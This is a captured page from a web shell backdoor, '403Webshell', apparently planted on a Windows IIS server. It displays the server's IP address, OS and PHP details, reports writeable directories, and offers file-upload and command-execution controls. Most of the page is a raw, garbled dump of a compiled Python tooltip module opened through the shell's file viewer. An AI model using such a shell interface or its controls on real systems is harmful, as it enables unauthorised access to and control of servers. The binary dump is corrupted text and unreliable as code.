403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/idlelib/__pycache__/tooltip.cpython-315.pyc
R
>lqj�c��Qs]QH3QQ2sQQ\2sQQ\2sQs\Q	6Xc"]Q
HGs\Q]P
Q5]Q
H$G
s
\
\2P!P!)z�Tools for displaying tool-tips.

This includes:
 * an abstract base-class for different kinds of tooltips
 * a simple text-only Tooltip class
)�*c�P`�\sQs]
snQsQsQsQsQsQs	Qs
QsQ	sUs
P!)
�TooltipBasez abstract base class for tooltipsc�"�VmPUmP!)z�Create a tooltip.

anchor_widget: the widget next to which the tooltip will be shown

Note that a widget will only be shown when showtip() is called.
��
anchor_widget�	tipwindow)�selfrs&&�$C:\Python315\\Lib\idlelib\tooltip.py�__init__�TooltipBase.__init__
s��+�����c�(�UO2P!�N��hidetip�rs&r	�__del__�TooltipBase.__del__s�����rc��UO%cP![UO29UmoUO]2UOOQQUOQQ2UO2UO2UOO2UOO2P![cKch9h)zdisplay the tooltipz!::tk::unsupported::MacWindowStyle�style�help�noActivates)r�Toplevelr�wm_overrideredirect�tk�call�_w�TclError�position_window�showcontents�update_idletasks�lift�r�tws& r	�showtip�TooltipBase.showtips����>�>�>��&�t�'9�'9�:�:����
���q�!�	�
�E�E�J�J�:�G�R�U�U��}�
.�
	
�����������'�'�)��������
�	��	�s�)C�	C�
C�Cc��UO2vqUOO2U*oUOO2U*oUOOQV41*2P!)z&(re)-set the tooltip's screen position�+%d+%d)�get_positionr�winfo_rootx�winfo_rootyr�wm_geometry)r�x�y�root_x�root_ys&    r	r�TooltipBase.position_window/s^��� � �"����#�#�/�/�1�A�5���#�#�/�/�1�A�5�����"�"�8�v�.>�#>�?rc�J�]UOO2]*1!)z(choose a screen position for the tooltip)r�winfo_heightrs&r	r(�TooltipBase.get_position6s#���4�%�%�2�2�4�q�8�8�8rc��[g)z$content display hook for sub-classes)�NotImplementedErrorrs&r	r�TooltipBase.showcontentsAs
��"�!rc��UOoPUmU%cUO2P!P![cP!h9h�zhide the tooltip)r�destroyrr"s& r	r�TooltipBase.hidetipFs>���^�^�����
�
��
�
�����
��
�s�2�	A�A�Ar)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r
rr$rr(rr�__static_attributes__�__classdictcell__)�
__classdict__s@r	rr
s1����*����*@�	9�"�
	�	rrc�t``�\sQs]RsnQsQ
U1QkksU1QksQQksQQksQs	Qs
U1QksQ	sUs
U9s!)�OnHoverTooltipBasez?abstract base class for tooltips, with delayed on-hover displayc�D:�[RU_U2V mPUmUOOQUO2UmUOOQUO2Um	UOOQUO2Um
P!)aACreate a tooltip with a mouse hover delay.

anchor_widget: the widget next to which the tooltip will be shown
hover_delay: time to delay before showing the tooltip, in milliseconds

Note that a widget will only be shown when showtip() is called,
e.g. after hovering over the anchor widget with the mouse for enough
time.
�<Enter>�<Leave>�<Button>)�superr
�hover_delay�	_after_idr�bind�_show_event�_id1�_hide_event�_id2�_id3)rrrJ�	__class__s&&&�r	r
�OnHoverTooltipBase.__init__Us���	����'�&������&�&�+�+�I�t�7G�7G�H��	��&�&�+�+�I�t�7G�7G�H��	��&�&�+�+�J��8H�8H�I��	rc�.:�UOOQUO2UOOQUO2UOOQUO2[RU_2P![
cKh9h)rFrGrH)r�unbindrNrPrQrrIr�rrRs&�r	r�OnHoverTooltipBase.__del__gsv���	����%�%�i����;����%�%�i����;����%�%�j�$�)�)�<�	������	��	�s�A2B�	B�B�Bc�p�UO%cUO2P!UO2P!)z$event handler to display the tooltip)rJ�scheduler$�r�events&&r	rM�OnHoverTooltipBase._show_eventps �������M�M�O��L�L�Nrc�(�UO2P!)z!event handler to hide the tooltiprrZs&&r	rO�OnHoverTooltipBase._hide_eventws�����rc��UO2UOOUOUO2UmP!)z*schedule the future display of the tooltip)�
unscheduler�afterrJr$rKrs&r	rY�OnHoverTooltipBase.schedule{s4�������+�+�1�1�$�2B�2B�26�,�,�@��rc�x�UOoPUmU%cUOOU2P!P!)z(cancel the future display of the tooltip)rKr�after_cancel)r�after_ids& r	r`�OnHoverTooltipBase.unschedule�s.���>�>���������+�+�H�5�rc�j:�UO2[RU_
2P![cKh9hr8)r`rrIrrVs&�r	r�OnHoverTooltipBase.hidetip�s2���	��O�O��	������	��	�s�$�	2�2�2)rKrNrPrQrJ)��r)r;r<r=r>r?r
rrMrOrYr`rr@rA�
__classcell__�rRrBs@@r	rDrDRs2����I�J�$���@�6��rrDc�B``�\sQs]�snQsQU1QkksQsQsUsU9s	!)�HovertipzAA tooltip that pops up when a mouse hovers over an anchor widget.c�N:�[RU_VQ5V mV@mVPmP!)aFCreate a text tooltip with a mouse hover delay.

anchor_widget: the widget next to which the tooltip will be shown
hover_delay: time to delay before showing the tooltip, in milliseconds

Note that a widget will only be shown when showtip() is called,
e.g. after hovering over the anchor widget with the mouse for enough
time.
�rJ)rIr
�text�
foreground�
background)rrrprJrqrrrRs&&&&&&�r	r
�Hovertip.__init__�s$���	�����@��	�$��$�rc
��[UOUO[[]UO
UOQ5oUO2P!)�)rp�justify�relief�borderwidthrqrr)�Labelrrp�LEFT�SOLIDrqrr�pack)r�labels& r	r�Hovertip.showcontents�s8���d�n�n�4�9�9�d�#�!�"&�/�/�d�o�o�O��	�
�
�r)rrrqrp)riz#000000z#ffffe0)
r;r<r=r>r?r
rr@rArjrks@@r	rmrm�s����G�%� �rrmc���[U2oUOQ2[[UO	2OQ2Q*2vq#UO	QV#]�*1*2[
UQQ5oUO2[UQQ5oUO2[UQQQ	5[UQ
Q5oUO2[UQPQ	5P!)zTest tooltip�+:ruNNr'zPlace your mouse over buttons)rpz"Button 1 -- 1/2 second hover delayz!This is tooltip text for button1.��rozButton 2 -- no hover delayz!This is tooltip
text for button2.)
r�title�map�int�geometry�splitryr|�Buttonrm)�parent�topr,r-r}�button1�button2s&      r	�_tooltipr��s���
�6�
�C��I�I�n���s�F�O�O�%�+�+�C�0��4�5�D�A��L�L��Q�C��L�(�)��#�;�<�E�	�J�J�L��S�C�D�G��L�L�N��W�9�s�K��S�;�<�G��L�L�N��W�:��Mr�__main__)�mainzidlelib.idle_test.test_tooltip)�	verbosity�exit)�run)r?�tkinterrrDrmr�r;�unittestr��idlelib.idle_test.htestr��rr	�<module>r�se����E�E�P<��<�~�!��2N��z����	)�Q�U�C�+���M�r

Youez - 2016 - github.com/yon3zu
LinuXploit